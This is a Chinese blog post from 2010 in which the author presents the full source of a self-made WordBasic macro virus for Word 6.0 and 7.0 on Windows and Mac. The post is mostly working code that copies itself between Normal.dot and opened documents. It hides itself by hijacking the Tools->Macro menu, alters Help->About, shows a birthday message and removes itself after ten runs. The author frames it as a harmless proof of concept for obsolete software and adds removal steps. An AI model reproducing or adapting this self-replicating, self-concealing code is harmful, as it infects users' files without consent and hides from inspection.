2010年4月8日星期四

自制的WordBasic简单宏病毒

WordBasic是什么?是指Microsoft Word从2.0版本到7.0版本所具有的脚本编程或者称之为“宏”功能。虽然它并不如Word 97之后取代它的VBA那么强大,但是也能对Word的整个界面进行定制,进行磁盘文件操作,运行一部分平台API函数,也能将宏在多个文件之间进行拷贝。我最近蛋疼了一下,在Word7.0英文版、中文版环境下作了一个简单的WordBasic宏病毒,而且也能在Word 6.0 for Macintosh上运行。
这个宏AutoOpen,寄生于Normal.dot中,当打开任何文件时会将自身复制到打开的文件中,并将目标文件保存为模板(Word7.0和以下不支持在普通文档中储存宏)。同时劫持ToolsMacro(工具->宏),使得无法查看宏代码。payload部分包括在4月15日祝本人生日快乐,并且统计运行次数,超过10次,则写入AutoExec宏,在下一次启动Word时将Normal模板中的本代码销毁。
其代码列表如下(必须是GB2312内码)
Dim Shared dname$, sname$, mname$, isscw, ismac '全局变量,包括判断是否中文Word,是否Mac
Sub MAIN

On Error Resume Next

DisableAutoMacros 0
FileSummaryInfo .Update
Dim gname As FileSummaryInfo '获得当前打开的文件信息
GetCurValues gname
sysv$ = AppInfo$(16) '获得系统的拼写检查语言,来判断是否中文版
sysp$ = AppInfo$(1) '获得平台,判断是否Mac
If InStr(sysp$, "Win") Then
sname$ = gname.Directory + "\" + gname.FileName + ":autoopen"
ismac = 0 'Windows平台,得到打开的文件的Windows形式路径
Else
sname$ = gname.Directory + ":" + gname.FileName + ":autoopen"
ismac = 1 'MacOS Classic平台,得到打开的文件的MacOS形式路径
End If

mgyy$ = "美国英语"
If sysv$ <> mgyy$ Then '根据拼写检查语言的返回值判断是否中文Word
dname$ = "global:autoopen"
isscw = 0 '英文版的Normal命名空间“Global”
Else
dname$ = String$(1, 85) + String$(1, 178) + String$(1, 211) + String$(1, 195) + ":autoopen"
isscw = 1 '中文版的Normal命名空间“共用”,注意WordBasic的Chr$不支持高Ascii,只能用String$
End If

mname$ = LCase$(Right$(MacroFileName$(MacroName$(0)), 10))

If InStr(mname$, "normal") Then '判断是否运行于Normal模板中(文件路径最后10个字符中是否有Normal)
MacroCopy dname$, sname$
FileSaveAs .Format = 1 '是则将自身复制到打开的文件中,并将打开的文件改为模板
Else
MacroCopy sname$, dname$ '否则将自身复制到Normal模板中
End If

changeabout '调用修改“帮助—>关于”子程序
changetoolsmacro '调用修改“工具->宏”子程序
pload '调用Payload
End Sub

Sub changeabout
On Error Resume Next
ToolsMacro .Name = "helpabout", .Delete, .Show = 0 '删除已有的“帮助—>关于”子程序
ToolsMacro .Name = "helpabout", .Edit, .Show = 0 '新建“帮助—>关于”子程序
LineUp 1
InsertPara
Insert "Msgbox"
Insert Chr$(34) + "by yksoft1 in 2010"
If isscw = 1 Then Insert " 中文Word照样中!"
Insert Chr$(34)
InsertPara
DocClose 1 '在正常代码前插入弹出消息框代码
End Sub

Sub changetoolsmacro
On Error Resume Next
ToolsMacro .Name = "toolsmacro", .Delete, .Show = 0 '删除已有的“工具—>宏”子程序
ToolsMacro .Name = "toolsmacro", .Edit, .Show = 0 '新建“工具—>宏”子程序
LineUp 4, 1

InsertPara
Insert "Msgbox"
Insert Chr$(34)
If isscw = 1 Then
Insert "这个选项目前无法使用。"
Else
Insert "This option is currently unavailable."
End If
Insert Chr$(34)
Insert "," + Chr$(34) + "Microsoft Word" + Chr$(34) + ",48"

DocClose 1 '将正常代码替换为显示消息框
End Sub

Sub pload
On Error Resume Next
d = Today()
If Month(d) = 4 And Day(d) = 15 Then
If isscw = 0 Then
MsgBox "Happy birthday to yksoft1!", "YKSOFT Systems", 48
Else
MsgBox "yksoft1 生日快乐!", "YKSOFT Systems", 48 '祝我生日快乐
End If
End If
sV$ = GetProfileString$("Microsoft Word", "yk-mvirus") '从WINWORD6.INI取得运行次数
ic = Val(sV$)
If ic >= 10 Then
autoexec_kill '调用自毁程序生成段
Else
ToolsMacro .Name = "autoexec", .Delete, .Show = 0
End If
SetProfileString("Microsoft Word", "yk-mvirus", LTrim$(Str$(ic + 1)) '运行次数+1

End Sub

Sub autoexec_kill
On Error Resume Next
ToolsMacro .Name = "autoexec", .Delete, .Show = 0 '删除现有AutoExec宏
ToolsMacro .Name = "autoexec", .Edit, .Show = 0 '新建AutoExec宏
Insert "On Error Resume Next"
InsertPara
Insert "ToolsMacro .Name= "
Insert Chr$(34)
Insert "autoopen"
Insert Chr$(34)
Insert ", .Delete, .Show=0"
InsertPara
Insert "ToolsMacro .Name= "
Insert Chr$(34)
Insert "helpabout"
Insert Chr$(34)
Insert ", .Delete, .Show=0"
InsertPara
Insert "ToolsMacro .Name= "
Insert Chr$(34)
Insert "toolsmacro"
Insert Chr$(34)
Insert ", .Delete, .Show=0"
InsertPara
DocClose 1 '删除本病毒的主程序及生成的ToolsMacro、HelpAbout宏

End Sub

删除方法:文件->模板->管理器->宏,找到AutoOpen、ToolsMacro和HelpAbout,删除之

经过调试发现这段代码应该可以用同一个Word 7.0英文版的模板文件在Word 7.0英文版、Word 7.0中文版、Word 6.0 for Macintosh英文版中实现感染和表现代码,如果直接创建,也能在Word 6.0中文版中正常运行。据我所查到的资料,Word 非英文的西方语言版本 菜.单项对应的宏名称与英文版不同,而且我还没搞到德、法之类语言版本的Word 7.0或者6.0,因此还不能实现本病毒的运行效果。

WordBasic基本随着Word 7.0的死亡而死了,当初Word 97的WordBasic->VBA转换器,并不能支持我在此病毒中新建宏的操作。因此这段代码应该在这个时代没有破坏性可言,只是一个概念证明而已。